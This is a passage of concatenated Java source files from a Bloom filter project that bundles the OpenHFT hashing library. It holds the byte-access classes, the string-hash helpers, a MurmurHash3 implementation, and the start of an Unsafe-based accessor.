108 | *
109 | * This method is a shortcut for {@code Access.toCharSequence(ByteOrder.nativeOrder())}.
110 | *
111 | * @param the {@code CharSequence} subtype (backed by native {@code char reads}) to access
112 | * @return the {@code Access} to {@link CharSequence}s backed by native {@code char} reads
113 | * @see #toCharSequence(ByteOrder)
114 | */
115 | public static Access toNativeCharSequence() {
116 | return (Access) CharSequenceAccess.nativeCharSequenceAccess();
117 | }
118 |
119 | /**
120 | * Returns the {@code Access} to {@link CharSequence}s backed by {@code char} reads made in
121 | * the specified byte order.
122 | *
123 | * Usage example:
{@code
124 | * static long hashCharBuffer(CharBuffer buffer, LongHashFunction hashFunction) {
125 | * return hashFunction.hash(buffer, Access.toCharSequence(buffer.order()),
126 | * // * 2L because length is passed in bytes, not chars
127 | * 0L, buffer.length() * 2L);
128 | * }}
129 | *
130 | * @param backingOrder the byte order of {@code char} reads backing
131 | * {@code CharSequences} to access
132 | * @return the {@code Access} to {@link CharSequence}s backed by {@code char} reads made in
133 | * the specified byte order
134 | * @param the {@code CharSequence} subtype to access
135 | * @see #toNativeCharSequence()
136 | */
137 | public static Access toCharSequence(ByteOrder backingOrder) {
138 | return (Access) CharSequenceAccess.charSequenceAccess(backingOrder);
139 | }
140 |
141 | /**
142 | * Constructor for use in subclasses.
143 | */
144 | protected Access() {}
145 |
146 | /**
147 | * Reads {@code [offset, offset + 7]} bytes of the byte sequence represented by the given
148 | * {@code input} as a single {@code long} value.
149 | *
150 | * @param input the object to access
151 | * @param offset offset to the first byte to read within the byte sequence represented
152 | * by the given object
153 | * @return eight bytes as a {@code long} value, in {@linkplain #byteOrder(Object) the expected
154 | * order}
155 | */
156 | public long getLong(T input, long offset) {
157 | if (byteOrder(input) == LITTLE_ENDIAN) {
158 | return getUnsignedInt(input, offset) | (getUnsignedInt(input, offset + 4L) << 32);
159 | } else {
160 | return getUnsignedInt(input, offset + 4L) | (getUnsignedInt(input, offset) << 32);
161 | }
162 | }
163 |
164 | /**
165 | * Shortcut for {@code getInt(input, offset) & 0xFFFFFFFFL}. Could be implemented more
166 | * efficiently.
167 | *
168 | * @param input the object to access
169 | * @param offset offset to the first byte to read within the byte sequence represented
170 | * by the given object
171 | * @return four bytes as an unsigned int value, in {@linkplain #byteOrder(Object) the expected
172 | * order}
173 | */
174 | public long getUnsignedInt(T input, long offset) {
175 | return ((long) getInt(input, offset)) & 0xFFFFFFFFL;
176 | }
177 |
178 | /**
179 | * Reads {@code [offset, offset + 3]} bytes of the byte sequence represented by the given
180 | * {@code input} as a single {@code int} value.
181 | *
182 | * @param input the object to access
183 | * @param offset offset to the first byte to read within the byte sequence represented
184 | * by the given object
185 | * @return four bytes as an {@code int} value, in {@linkplain #byteOrder(Object) the expected
186 | * order}
187 | */
188 | public int getInt(T input, long offset) {
189 | if (byteOrder(input) == LITTLE_ENDIAN) {
190 | return getUnsignedShort(input, offset) | (getUnsignedShort(input, offset + 2L) << 16);
191 | } else {
192 | return getUnsignedShort(input, offset + 2L) | (getUnsignedShort(input, offset) << 16);
193 | }
194 | }
195 |
196 | /**
197 | * Shortcut for {@code getShort(input, offset) & 0xFFFF}. Could be implemented more
198 | * efficiently.
199 | *
200 | * @param input the object to access
201 | * @param offset offset to the first byte to read within the byte sequence represented
202 | * by the given object
203 | * @return two bytes as an unsigned short value, in {@linkplain #byteOrder(Object) the expected
204 | * order}
205 | */
206 | public int getUnsignedShort(T input, long offset) {
207 | if (byteOrder(input) == LITTLE_ENDIAN) {
208 | return getUnsignedByte(input, offset) | (getUnsignedByte(input, offset + 1L) << 8);
209 | } else {
210 | return getUnsignedByte(input, offset + 1L) | (getUnsignedByte(input, offset) << 8);
211 | }
212 | }
213 |
214 | /**
215 | * Reads {@code [offset, offset + 1]} bytes of the byte sequence represented by the given
216 | * {@code input} as a single {@code short} value, returned widened to {@code int}.
217 | *
218 | * @param input the object to access
219 | * @param offset offset to the first byte to read within the byte sequence represented
220 | * by the given object
221 | * @return two bytes as a {@code short} value, in {@linkplain #byteOrder(Object) the expected
222 | * order}, widened to {@code int}
223 | */
224 | public int getShort(T input, long offset) {
225 | return (int) (short) getUnsignedShort(input, offset);
226 | }
227 |
228 | /**
229 | * Shortcut for {@code getByte(input, offset) & 0xFF}. Could be implemented more efficiently.
230 | *
231 | * @param input the object to access
232 | * @param offset offset to the byte to read within the byte sequence represented
233 | * by the given object
234 | * @return a byte by the given {@code offset}, interpreted as unsigned
235 | */
236 | public int getUnsignedByte(T input, long offset) {
237 | return getByte(input, offset) & 0xFF;
238 | }
239 |
240 | /**
241 | * Reads a single byte at the given {@code offset} in the byte sequence represented by the given
242 | * {@code input}, returned widened to {@code int}.
243 | *
244 | * @param input the object to access
245 | * @param offset offset to the byte to read within the byte sequence represented
246 | * by the given object
247 | * @return a byte by the given {@code offset}, widened to {@code int}
248 | */
249 | public abstract int getByte(T input, long offset);
250 |
251 | /**
252 | * The byte order in which all multi-byte {@code getXXX()} reads from the given {@code input}
253 | * are performed.
254 | *
255 | * @param input the accessed object
256 | * @return the byte order of all multi-byte reads from the given {@code input}
257 | */
258 | public abstract ByteOrder byteOrder(T input);
259 | }
260 |
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/src/net/openhft/hashing/ByteBufferAccess.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright 2014 Higher Frequency Trading http://www.higherfrequencytrading.com
3 | *
4 | * Licensed under the Apache License, Version 2.0 (the "License");
5 | * you may not use this file except in compliance with the License.
6 | * You may obtain a copy of the License at
7 | *
8 | * http://www.apache.org/licenses/LICENSE-2.0
9 | *
10 | * Unless required by applicable law or agreed to in writing, software
11 | * distributed under the License is distributed on an "AS IS" BASIS,
12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | * See the License for the specific language governing permissions and
14 | * limitations under the License.
15 | */
16 |
17 | package net.openhft.hashing;
18 |
19 | import java.nio.ByteBuffer;
20 | import java.nio.ByteOrder;
21 |
22 | final class ByteBufferAccess extends Access {
23 | public static final ByteBufferAccess INSTANCE = new ByteBufferAccess();
24 |
25 | private ByteBufferAccess() {}
26 |
27 | @Override
28 | public long getLong(ByteBuffer input, long offset) {
29 | return input.getLong((int) offset);
30 | }
31 |
32 | @Override
33 | public long getUnsignedInt(ByteBuffer input, long offset) {
34 | return Primitives.unsignedInt(getInt(input, offset));
35 | }
36 |
37 | @Override
38 | public int getInt(ByteBuffer input, long offset) {
39 | return input.getInt((int) offset);
40 | }
41 |
42 | @Override
43 | public int getUnsignedShort(ByteBuffer input, long offset) {
44 | return Primitives.unsignedShort(getShort(input, offset));
45 | }
46 |
47 | @Override
48 | public int getShort(ByteBuffer input, long offset) {
49 | return input.getShort((int) offset);
50 | }
51 |
52 | @Override
53 | public int getUnsignedByte(ByteBuffer input, long offset) {
54 | return Primitives.unsignedByte(getByte(input, offset));
55 | }
56 |
57 | @Override
58 | public int getByte(ByteBuffer input, long offset) {
59 | return input.get((int) offset);
60 | }
61 |
62 | @Override
63 | public ByteOrder byteOrder(ByteBuffer input) {
64 | return input.order();
65 | }
66 | }
67 |
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/src/net/openhft/hashing/CharSequenceAccess.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright 2014 Higher Frequency Trading http://www.higherfrequencytrading.com
3 | *
4 | * Licensed under the Apache License, Version 2.0 (the "License");
5 | * you may not use this file except in compliance with the License.
6 | * You may obtain a copy of the License at
7 | *
8 | * http://www.apache.org/licenses/LICENSE-2.0
9 | *
10 | * Unless required by applicable law or agreed to in writing, software
11 | * distributed under the License is distributed on an "AS IS" BASIS,
12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | * See the License for the specific language governing permissions and
14 | * limitations under the License.
15 | */
16 |
17 | package net.openhft.hashing;
18 |
19 | import java.nio.ByteOrder;
20 |
21 | import static java.nio.ByteOrder.BIG_ENDIAN;
22 | import static java.nio.ByteOrder.LITTLE_ENDIAN;
23 |
24 | abstract class CharSequenceAccess extends Access {
25 |
26 | public static CharSequenceAccess charSequenceAccess(ByteOrder order) {
27 | return order == LITTLE_ENDIAN ?
28 | LittleEndianCharSequenceAccess.INSTANCE :
29 | BigEndianCharSequenceAccess.INSTANCE;
30 | }
31 |
32 | public static CharSequenceAccess nativeCharSequenceAccess() {
33 | return charSequenceAccess(ByteOrder.nativeOrder());
34 | }
35 |
36 | private static int ix(long offset) {
37 | return (int) (offset >> 1);
38 | }
39 |
40 | static long getLong(CharSequence input, long offset,
41 | int char0Off, int char1Off, int char2Off, int char3Off) {
42 | int base = ix(offset);
43 | long char0 = input.charAt(base + char0Off);
44 | long char1 = input.charAt(base + char1Off);
45 | long char2 = input.charAt(base + char2Off);
46 | long char3 = input.charAt(base + char3Off);
47 | return char0 | (char1 << 16) | (char2 << 32) | (char3 << 48);
48 | }
49 |
50 | static long getUnsignedInt(CharSequence input, long offset,
51 | int char0Off, int char1Off) {
52 | int base = ix(offset);
53 | long char0 = input.charAt(base + char0Off);
54 | long char1 = input.charAt(base + char1Off);
55 | return char0 | (char1 << 16);
56 | }
57 |
58 | private CharSequenceAccess() {}
59 |
60 | @Override
61 | public int getInt(CharSequence input, long offset) {
62 | return (int) getUnsignedInt(input, offset);
63 | }
64 |
65 | @Override
66 | public int getUnsignedShort(CharSequence input, long offset) {
67 | return input.charAt(ix(offset));
68 | }
69 |
70 | @Override
71 | public int getShort(CharSequence input, long offset) {
72 | return (int) (short) input.charAt(ix(offset));
73 | }
74 |
75 | static int getUnsignedByte(CharSequence input, long offset, int shift) {
76 | return Primitives.unsignedByte(input.charAt(ix(offset)) >> shift);
77 | }
78 |
79 | @Override
80 | public int getByte(CharSequence input, long offset) {
81 | return (int) (byte) getUnsignedByte(input, offset);
82 | }
83 |
84 | private static class LittleEndianCharSequenceAccess extends CharSequenceAccess {
85 | private static final CharSequenceAccess INSTANCE = new LittleEndianCharSequenceAccess();
86 |
87 | private LittleEndianCharSequenceAccess() {}
88 |
89 | @Override
90 | public long getLong(CharSequence input, long offset) {
91 | return getLong(input, offset, 0, 1, 2, 3);
92 | }
93 |
94 | @Override
95 | public long getUnsignedInt(CharSequence input, long offset) {
96 | return getUnsignedInt(input, offset, 0, 1);
97 | }
98 |
99 | @Override
100 | public int getUnsignedByte(CharSequence input, long offset) {
101 | return getUnsignedByte(input, offset, ((int) offset & 1) << 3);
102 | }
103 |
104 | @Override
105 | public ByteOrder byteOrder(CharSequence input) {
106 | return LITTLE_ENDIAN;
107 | }
108 | }
109 |
110 | private static class BigEndianCharSequenceAccess extends CharSequenceAccess {
111 | private static final CharSequenceAccess INSTANCE = new BigEndianCharSequenceAccess();
112 |
113 | private BigEndianCharSequenceAccess() {}
114 |
115 | @Override
116 | public long getLong(CharSequence input, long offset) {
117 | return getLong(input, offset, 3, 2, 1, 0);
118 | }
119 |
120 | @Override
121 | public long getUnsignedInt(CharSequence input, long offset) {
122 | return getUnsignedInt(input, offset, 1, 0);
123 | }
124 |
125 | @Override
126 | public int getUnsignedByte(CharSequence input, long offset) {
127 | return getUnsignedByte(input, offset, (((int) offset & 1) ^ 1) << 3);
128 | }
129 |
130 | @Override
131 | public ByteOrder byteOrder(CharSequence input) {
132 | return BIG_ENDIAN;
133 | }
134 | }
135 | }
136 |
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/src/net/openhft/hashing/HotSpotPrior7u6StringHash.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright 2014 Higher Frequency Trading http://www.higherfrequencytrading.com
3 | *
4 | * Licensed under the Apache License, Version 2.0 (the "License");
5 | * you may not use this file except in compliance with the License.
6 | * You may obtain a copy of the License at
7 | *
8 | * http://www.apache.org/licenses/LICENSE-2.0
9 | *
10 | * Unless required by applicable law or agreed to in writing, software
11 | * distributed under the License is distributed on an "AS IS" BASIS,
12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | * See the License for the specific language governing permissions and
14 | * limitations under the License.
15 | */
16 |
17 | package net.openhft.hashing;
18 |
19 | import java.lang.reflect.Field;
20 |
21 | enum HotSpotPrior7u6StringHash implements StringHash {
22 | INSTANCE;
23 |
24 | private static final long valueOffset;
25 | private static final long offsetOffset;
26 |
27 | static {
28 | try {
29 | Field valueField = String.class.getDeclaredField("value");
30 | valueOffset = UnsafeAccess.UNSAFE.objectFieldOffset(valueField);
31 |
32 | Field offsetField = String.class.getDeclaredField("offset");
33 | offsetOffset = UnsafeAccess.UNSAFE.objectFieldOffset(offsetField);
34 | } catch (NoSuchFieldException e) {
35 | throw new AssertionError(e);
36 | }
37 | }
38 |
39 | @Override
40 | public long longHash(String s, LongHashFunction hashFunction, int off, int len) {
41 | char[] value = (char[]) UnsafeAccess.UNSAFE.getObject(s, valueOffset);
42 | int offset = UnsafeAccess.UNSAFE.getInt(s, offsetOffset);
43 | return hashFunction.hashChars(value, offset + off, len);
44 | }
45 | }
46 |
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/src/net/openhft/hashing/ModernHotSpotStringHash.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright 2014 Higher Frequency Trading http://www.higherfrequencytrading.com
3 | *
4 | * Licensed under the Apache License, Version 2.0 (the "License");
5 | * you may not use this file except in compliance with the License.
6 | * You may obtain a copy of the License at
7 | *
8 | * http://www.apache.org/licenses/LICENSE-2.0
9 | *
10 | * Unless required by applicable law or agreed to in writing, software
11 | * distributed under the License is distributed on an "AS IS" BASIS,
12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | * See the License for the specific language governing permissions and
14 | * limitations under the License.
15 | */
16 |
17 | package net.openhft.hashing;
18 |
19 | import java.lang.reflect.Field;
20 |
21 | enum ModernHotSpotStringHash implements StringHash {
22 | INSTANCE;
23 |
24 | private static final long valueOffset;
25 |
26 | static {
27 | try {
28 | Field valueField = String.class.getDeclaredField("value");
29 | valueOffset = UnsafeAccess.UNSAFE.objectFieldOffset(valueField);
30 | } catch (NoSuchFieldException e) {
31 | throw new AssertionError(e);
32 | }
33 | }
34 |
35 | @Override
36 | public long longHash(String s, LongHashFunction hashFunction, int off, int len) {
37 | char[] value = (char[]) UnsafeAccess.UNSAFE.getObject(s, valueOffset);
38 | return hashFunction.hashChars(value, off, len);
39 | }
40 | }
41 |
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/src/net/openhft/hashing/MurmurHash_3.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright 2014 Higher Frequency Trading http://www.higherfrequencytrading.com
3 | *
4 | * Licensed under the Apache License, Version 2.0 (the "License");
5 | * you may not use this file except in compliance with the License.
6 | * You may obtain a copy of the License at
7 | *
8 | * http://www.apache.org/licenses/LICENSE-2.0
9 | *
10 | * Unless required by applicable law or agreed to in writing, software
11 | * distributed under the License is distributed on an "AS IS" BASIS,
12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | * See the License for the specific language governing permissions and
14 | * limitations under the License.
15 | */
16 |
17 | package net.openhft.hashing;
18 |
19 | import static java.lang.Long.reverseBytes;
20 | import static java.nio.ByteOrder.LITTLE_ENDIAN;
21 | import static net.openhft.hashing.LongHashFunction.NATIVE_LITTLE_ENDIAN;
22 | import static net.openhft.hashing.Primitives.unsignedInt;
23 |
24 | /**
25 | * Derived from https://github.com/google/guava/blob/fa95e381e665d8ee9639543b99ed38020c8de5ef
26 | * /guava/src/com/google/common/hash/Murmur3_128HashFunction.java
27 | */
28 | class MurmurHash_3 {
29 | private static final MurmurHash_3 INSTANCE = new MurmurHash_3();
30 |
31 | private static final MurmurHash_3 NATIVE_MURMUR = NATIVE_LITTLE_ENDIAN ?
32 | MurmurHash_3.INSTANCE : BigEndian.INSTANCE;
33 |
34 | private static final long C1 = 0x87c37b91114253d5L;
35 | private static final long C2 = 0x4cf5ad432745937fL;
36 |
37 | private MurmurHash_3() {}
38 |
39 | long fetch64(Access access, T in, long off) {
40 | return access.getLong(in, off);
41 | }
42 |
43 | int fetch32(Access access, T in, long off) {
44 | return access.getInt(in, off);
45 | }
46 |
47 | long toLittleEndian(long v) {
48 | return v;
49 | }
50 |
51 | int toLittleEndian(int v) {
52 | return v;
53 | }
54 |
55 | int toLittleEndianShort(int unsignedShort) {
56 | return unsignedShort;
57 | }
58 |
59 | public long hash(long seed, T input, Access access, long offset, long length) {
60 | long h1 = seed;
61 | long h2 = seed;
62 | long remaining = length;
63 | while (remaining >= 16L) {
64 | long k1 = fetch64(access, input, offset);
65 | long k2 = fetch64(access, input, offset + 8L);
66 | offset += 16L;
67 | remaining -= 16L;
68 | h1 ^= mixK1(k1);
69 |
70 | h1 = Long.rotateLeft(h1, 27);
71 | h1 += h2;
72 | h1 = h1 * 5L + 0x52dce729L;
73 |
74 | h2 ^= mixK2(k2);
75 |
76 | h2 = Long.rotateLeft(h2, 31);
77 | h2 += h1;
78 | h2 = h2 * 5L + 0x38495ab5L;
79 | }
80 |
81 | if (remaining > 0L) {
82 | long k1 = 0L;
83 | long k2 = 0L;
84 | switch ((int) remaining) {
85 | case 15:
86 | k2 ^= ((long) access.getUnsignedByte(input, offset + 14L)) << 48;// fall through
87 | case 14:
88 | k2 ^= ((long) access.getUnsignedByte(input, offset + 13L)) << 40;// fall through
89 | case 13:
90 | k2 ^= ((long) access.getUnsignedByte(input, offset + 12L)) << 32;// fall through
91 | case 12:
92 | k2 ^= ((long) access.getUnsignedByte(input, offset + 11L)) << 24;// fall through
93 | case 11:
94 | k2 ^= ((long) access.getUnsignedByte(input, offset + 10L)) << 16;// fall through
95 | case 10:
96 | k2 ^= ((long) access.getUnsignedByte(input, offset + 9L)) << 8; // fall through
97 | case 9:
98 | k2 ^= ((long) access.getUnsignedByte(input, offset + 8L)); // fall through
99 | case 8:
100 | k1 ^= fetch64(access, input, offset);
101 | break;
102 | case 7:
103 | k1 ^= ((long) access.getUnsignedByte(input, offset + 6L)) << 48; // fall through
104 | case 6:
105 | k1 ^= ((long) access.getUnsignedByte(input, offset + 5L)) << 40; // fall through
106 | case 5:
107 | k1 ^= ((long) access.getUnsignedByte(input, offset + 4L)) << 32; // fall through
108 | case 4:
109 | k1 ^= Primitives.unsignedInt(fetch32(access, input, offset));
110 | break;
111 | case 3:
112 | k1 ^= ((long) access.getUnsignedByte(input, offset + 2L)) << 16; // fall through
113 | case 2:
114 | k1 ^= ((long) access.getUnsignedByte(input, offset + 1L)) << 8; // fall through
115 | case 1:
116 | k1 ^= ((long) access.getUnsignedByte(input, offset));
117 | case 0:
118 | break;
119 | default:
120 | throw new AssertionError("Should never get here.");
121 | }
122 | h1 ^= mixK1(k1);
123 | h2 ^= mixK2(k2);
124 | }
125 |
126 | // This version appears to be working slower
127 |
128 | // if (remaining > 0L) {
129 | // long k1 = 0L;
130 | // long k2 = 0L;
131 | // megaSwitch:
132 | // {
133 | // fetch0_7:
134 | // {
135 | // fetch8_11:
136 | // {
137 | // fetch0_3:
138 | // {
139 | // switch ((int) remaining) {
140 | // case 15:
141 | // k2 ^= ((long) access.getUnsignedByte(input, offset + 14L)) << 48;
142 | // case 14:
143 | // k2 ^= ((long) toLittleEndianShort(
144 | // access.getUnsignedShort(input, offset + 12L))) << 32;
145 | // break fetch8_11;
146 | // case 13:
147 | // k2 ^= ((long) access.getUnsignedByte(input, offset + 12L)) << 32;
148 | // case 12:
149 | // break fetch8_11;
150 | // case 11:
151 | // k2 ^= ((long) access.getUnsignedByte(input, offset + 10L)) << 16;
152 | // case 10:
153 | // k2 ^= (long) toLittleEndianShort(
154 | // access.getUnsignedShort(input, offset + 8L));
155 | // break fetch0_7;
156 | // case 9:
157 | // k2 ^= ((long) access.getUnsignedByte(input, offset + 8L));
158 | // case 8:
159 | // break fetch0_7;
160 | // case 7:
161 | // k1 ^= ((long) access.getUnsignedByte(input, offset + 6L)) << 48;
162 | // case 6:
163 | // k1 ^= ((long) toLittleEndianShort(
164 | // access.getUnsignedShort(input, offset + 4L))) << 32;
165 | // break fetch0_3;
166 | // case 5:
167 | // k1 ^= ((long) access.getUnsignedByte(input, offset + 4L)) << 32;
168 | // case 4:
169 | // break fetch0_3;
170 | // case 3:
171 | // k1 ^= ((long) access.getUnsignedByte(input, offset + 2L)) << 16;
172 | // case 2:
173 | // k1 ^= (long) toLittleEndianShort(
174 | // access.getUnsignedShort(input, offset));
175 | // break megaSwitch;
176 | // case 1:
177 | // k1 ^= ((long) access.getUnsignedByte(input, offset));
178 | // break megaSwitch;
179 | // default:
180 | // throw new AssertionError();
181 | // }
182 | // } // fetch0_3
183 | // k1 ^= unsignedInt(fetch32(access, input, offset));
184 | // break megaSwitch;
185 | // } // fetch8_11
186 | // k2 ^= unsignedInt(fetch32(access, input, offset + 8L));
187 | // } // fetch0_7
188 | // k1 ^= fetch64(access, input, offset);
189 | // } // megaSwitch
190 | //
191 | // h1 ^= mixK1(k1);
192 | // h2 ^= mixK2(k2);
193 | // }
194 |
195 | return finalize(length, h1, h2);
196 | }
197 |
198 | private static long finalize(long length, long h1, long h2) {
199 | h1 ^= length;
200 | h2 ^= length;
201 |
202 | h1 += h2;
203 | h2 += h1;
204 |
205 | h1 = fmix64(h1);
206 | h2 = fmix64(h2);
207 |
208 | h1 += h2;
209 | return h1;
210 | }
211 |
212 | private static long fmix64(long k) {
213 | k ^= k >>> 33;
214 | k *= 0xff51afd7ed558ccdL;
215 | k ^= k >>> 33;
216 | k *= 0xc4ceb9fe1a85ec53L;
217 | k ^= k >>> 33;
218 | return k;
219 | }
220 |
221 | private static long mixK1(long k1) {
222 | k1 *= C1;
223 | k1 = Long.rotateLeft(k1, 31);
224 | k1 *= C2;
225 | return k1;
226 | }
227 |
228 | private static long mixK2(long k2) {
229 | k2 *= C2;
230 | k2 = Long.rotateLeft(k2, 33);
231 | k2 *= C1;
232 | return k2;
233 | }
234 |
235 | private static class BigEndian extends MurmurHash_3 {
236 | private static final BigEndian INSTANCE = new BigEndian();
237 | private BigEndian() {}
238 |
239 | @Override
240 | long fetch64(Access access, T in, long off) {
241 | return reverseBytes(super.fetch64(access, in, off));
242 | }
243 |
244 | @Override
245 | int fetch32(Access access, T in, long off) {
246 | return Integer.reverseBytes(super.fetch32(access, in, off));
247 | }
248 |
249 | @Override
250 | long toLittleEndian(long v) {
251 | return reverseBytes(v);
252 | }
253 |
254 | @Override
255 | int toLittleEndian(int v) {
256 | return Integer.reverseBytes(v);
257 | }
258 |
259 | @Override
260 | int toLittleEndianShort(int unsignedShort) {
261 | return ((unsignedShort & 0xFF) << 8) | (unsignedShort >> 8);
262 | }
263 | }
264 |
265 | private static class AsLongHashFunction extends LongHashFunction {
266 | public static final AsLongHashFunction INSTANCE = new AsLongHashFunction();
267 | private static final long serialVersionUID = 0L;
268 |
269 | private Object readResolve() {
270 | return INSTANCE;
271 | }
272 |
273 | long seed() {
274 | return 0L;
275 | }
276 |
277 | long hashNativeLong(long nativeLong, long len) {
278 | long h1 = mixK1(nativeLong);
279 | long h2 = 0L;
280 | return MurmurHash_3.finalize(len, h1, h2);
281 | }
282 |
283 | @Override
284 | public long hashLong(long input) {
285 | return hashNativeLong(NATIVE_MURMUR.toLittleEndian(input), 8L);
286 | }
287 |
288 | @Override
289 | public long hashInt(int input) {
290 | return hashNativeLong(unsignedInt(NATIVE_MURMUR.toLittleEndian(input)), 4L);
291 | }
292 |
293 | @Override
294 | public long hashShort(short input) {
295 | return hashNativeLong(
296 | (long) NATIVE_MURMUR.toLittleEndianShort(Primitives.unsignedShort(input)), 2L);
297 | }
298 |
299 | @Override
300 | public long hashChar(char input) {
301 | return hashNativeLong((long) NATIVE_MURMUR.toLittleEndianShort((int) input), 2L);
302 | }
303 |
304 | @Override
305 | public long hashByte(byte input) {
306 | return hashNativeLong((long) Primitives.unsignedByte((int) input), 1L);
307 | }
308 |
309 | @Override
310 | public long hashVoid() {
311 | return 0L;
312 | }
313 |
314 | @Override
315 | public long hash(T input, Access access, long off, long len) {
316 | long seed = seed();
317 | if (access.byteOrder(input) == LITTLE_ENDIAN) {
318 | return MurmurHash_3.INSTANCE.hash(seed, input, access, off, len);
319 | } else {
320 | return BigEndian.INSTANCE.hash(seed, input, access, off, len);
321 | }
322 | }
323 | }
324 |
325 | public static LongHashFunction asLongHashFunctionWithoutSeed() {
326 | return AsLongHashFunction.INSTANCE;
327 | }
328 |
329 | private static class AsLongHashFunctionSeeded extends AsLongHashFunction {
330 | private static final long serialVersionUID = 0L;
331 |
332 | private final long seed;
333 | private transient long voidHash;
334 |
335 | private AsLongHashFunctionSeeded(long seed) {
336 | this.seed = seed;
337 | voidHash = MurmurHash_3.finalize(0L, seed, seed);
338 | }
339 |
340 | @Override
341 | long seed() {
342 | return seed;
343 | }
344 |
345 | @Override
346 | long hashNativeLong(long nativeLong, long len) {
347 | long seed = this.seed;
348 | long h1 = seed ^ mixK1(nativeLong);
349 | long h2 = seed;
350 | return MurmurHash_3.finalize(len, h1, h2);
351 | }
352 |
353 | @Override
354 | public long hashVoid() {
355 | return voidHash;
356 | }
357 | }
358 |
359 | public static LongHashFunction asLongHashFunctionWithSeed(long seed) {
360 | return new AsLongHashFunctionSeeded(seed);
361 | }
362 | }
363 |
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/src/net/openhft/hashing/Primitives.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright 2014 Higher Frequency Trading http://www.higherfrequencytrading.com
3 | *
4 | * Licensed under the Apache License, Version 2.0 (the "License");
5 | * you may not use this file except in compliance with the License.
6 | * You may obtain a copy of the License at
7 | *
8 | * http://www.apache.org/licenses/LICENSE-2.0
9 | *
10 | * Unless required by applicable law or agreed to in writing, software
11 | * distributed under the License is distributed on an "AS IS" BASIS,
12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | * See the License for the specific language governing permissions and
14 | * limitations under the License.
15 | */
16 |
17 | package net.openhft.hashing;
18 |
19 | final class Primitives {
20 |
21 | private Primitives() {}
22 |
23 | static long unsignedInt(int i) {
24 | return i & 0xFFFFFFFFL;
25 | }
26 |
27 | static int unsignedShort(int s) {
28 | return s & 0xFFFF;
29 | }
30 |
31 | static int unsignedByte(int b) {
32 | return b & 0xFF;
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/src/net/openhft/hashing/StringHash.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright 2014 Higher Frequency Trading http://www.higherfrequencytrading.com
3 | *
4 | * Licensed under the Apache License, Version 2.0 (the "License");
5 | * you may not use this file except in compliance with the License.
6 | * You may obtain a copy of the License at
7 | *
8 | * http://www.apache.org/licenses/LICENSE-2.0
9 | *
10 | * Unless required by applicable law or agreed to in writing, software
11 | * distributed under the License is distributed on an "AS IS" BASIS,
12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | * See the License for the specific language governing permissions and
14 | * limitations under the License.
15 | */
16 |
17 | package net.openhft.hashing;
18 |
19 | interface StringHash {
20 |
21 | long longHash(String s, LongHashFunction hashFunction, int off, int len);
22 | }
23 |
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/src/net/openhft/hashing/UnknownJvmStringHash.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright 2014 Higher Frequency Trading http://www.higherfrequencytrading.com
3 | *
4 | * Licensed under the Apache License, Version 2.0 (the "License");
5 | * you may not use this file except in compliance with the License.
6 | * You may obtain a copy of the License at
7 | *
8 | * http://www.apache.org/licenses/LICENSE-2.0
9 | *
10 | * Unless required by applicable law or agreed to in writing, software
11 | * distributed under the License is distributed on an "AS IS" BASIS,
12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | * See the License for the specific language governing permissions and
14 | * limitations under the License.
15 | */
16 |
17 | package net.openhft.hashing;
18 |
19 | enum UnknownJvmStringHash implements StringHash {
20 | INSTANCE;
21 |
22 | @Override
23 | public long longHash(String s, LongHashFunction hashFunction, int off, int len) {
24 | return hashFunction.hashNativeChars(s, off, len);
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/Project 4/Project files/Task 3/BloomFilter/src/net/openhft/hashing/UnsafeAccess.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright 2014 Higher Frequency Trading http://www.higherfrequencytrading.com
3 | *
4 | * Licensed under the Apache License, Version 2.0 (the "License");
5 | * you may not use this file except in compliance with the License.
6 | * You may obtain a copy of the License at
7 | *
8 | * http://www.apache.org/licenses/LICENSE-2.0
9 | *
10 | * Unless required by applicable law or agreed to in writing, software
11 | * distributed under the License is distributed on an "AS IS" BASIS,
12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | * See the License for the specific language governing permissions and
14 | * limitations under the License.
15 | */
16 |
17 | package net.openhft.hashing;
18 |
19 | import sun.misc.Unsafe;
20 |
21 | import java.lang.reflect.Field;
22 | import java.nio.ByteOrder;
23 |
24 | import static net.openhft.hashing.Primitives.*;
25 |
26 | final class UnsafeAccess extends Access {
27 | public static final UnsafeAccess INSTANCE = new UnsafeAccess();
28 |
29 | static final Unsafe UNSAFE;
30 | static final long BOOLEAN_BASE;
31 | static final long BYTE_BASE;
32 | static final long CHAR_BASE;
33 | static final long SHORT_BASE;
34 | static final long INT_BASE;
35 | static final long LONG_BASE;
36 |
37 | static {
38 | try {
39 | Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
40 | theUnsafe.setAccessible(true);
41 | UNSAFE = (Unsafe) theUnsafe.get(null);
42 | BOOLEAN_BASE = UNSAFE.arrayBaseOffset(boolean[].class);
